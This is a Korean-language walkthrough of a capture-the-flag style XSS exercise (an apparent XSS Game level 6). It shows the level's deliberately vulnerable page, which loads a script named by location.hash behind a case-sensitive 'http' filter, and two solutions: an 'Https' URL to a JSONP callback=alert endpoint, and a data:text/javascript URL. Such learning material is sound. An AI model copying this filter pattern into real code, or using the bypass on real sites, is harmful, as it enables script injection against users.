Find a way to make the application request an external file which will cause it to execute an alert().
(응용 프로그램이 외부파일을 요쳥하도록 하여 alert()를 실행시키는 방법을 찾아라)
location.hash를 사용해야 될거 같다.
index.html 코드
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<script>
function setInnerText(element, value) {
if (element.innerText) {
element.innerText = value;
} else {
element.textContent = value;
}
}
function includeGadget(url) {
var scriptEl = document.createElement('script');
// This will totally prevent us from loading evil URLs!
if (url.match(/^https?:\/\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
}
// Load this awesome gadget
scriptEl.src = url;
// Show log messages
scriptEl.onload = function() {
setInnerText(document.getElementById("log"),
"Loaded gadget from " + url);
}
scriptEl.onerror = function() {
setInnerText(document.getElementById("log"),
"Couldn't load gadget from " + url);
}
document.head.appendChild(scriptEl);
}
// Take the value after # and use it as the gadget filename.
function getGadgetName() {
return window.location.hash.substr(1) || "/static/gadget.js";
}
includeGadget(getGadgetName());
// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
includeGadget(getGadgetName());
}
}, false);
</script>
</head>
<body id="level6">
<img src="/static/logos/level6.png">
<img id="cube" src="/static/level6_cube.png">
<div id="log">Loading gadget...</div>
</body>
</html>
location.hash가 어디에 포함되어있는지 살펴보자
#을 사용한 후에 gadget 파일 이름을 사용한다고 한다.
hint를 보자
1. #뒤에가 로드된 스크립트의 url에 어떠한 영향을 미치는지 봐라
2. gadget url 보안검사가 진짜 안전한가
3. 내가 지칠 때, 비명을 지르가 싶다
4. 악마같은 js file을 쉽게 호스트하지 못하면 google.com/jsapi?callback=foo가 도움이 될지 확인해봐라
#뒤에를 바꾸면 화면에 뜬것이 바뀐다.
힌트에서 google.com/jsapi?callback=foo를 확인해 보라 해서 확인해봤다.
callback 파라미터 인자값을 받아서 값()과 같은 형태로 파일내에 문자열을 출력해주고 있는걸 확인할 수 있다.
따라서 파라미터 값으로 alert를 주면 js었고 파라미터 값으로 alert를 주면 js 파일 내에 alert()를 완성시킬 수 있을거 같다.
#뒤에 www.google.com/jsapi?callback=alert를 넣었다
http를 사용하지 못하는 것 같아서 코드를 보니 includeGadget 함수에 http가 필터링 되어 있다.
따라서 https의 h를 H로 바꿔주었다.
풀렸다.
다른 방법
Data URL scheme
데이터를 url로 표현하는 것이다
사용방법=> data : [자료타입], [데이터]
javascript를 사용할 것이기 때문에 자료 타입은 text/javascript
데이터는 alert();가 된다.
풀렸다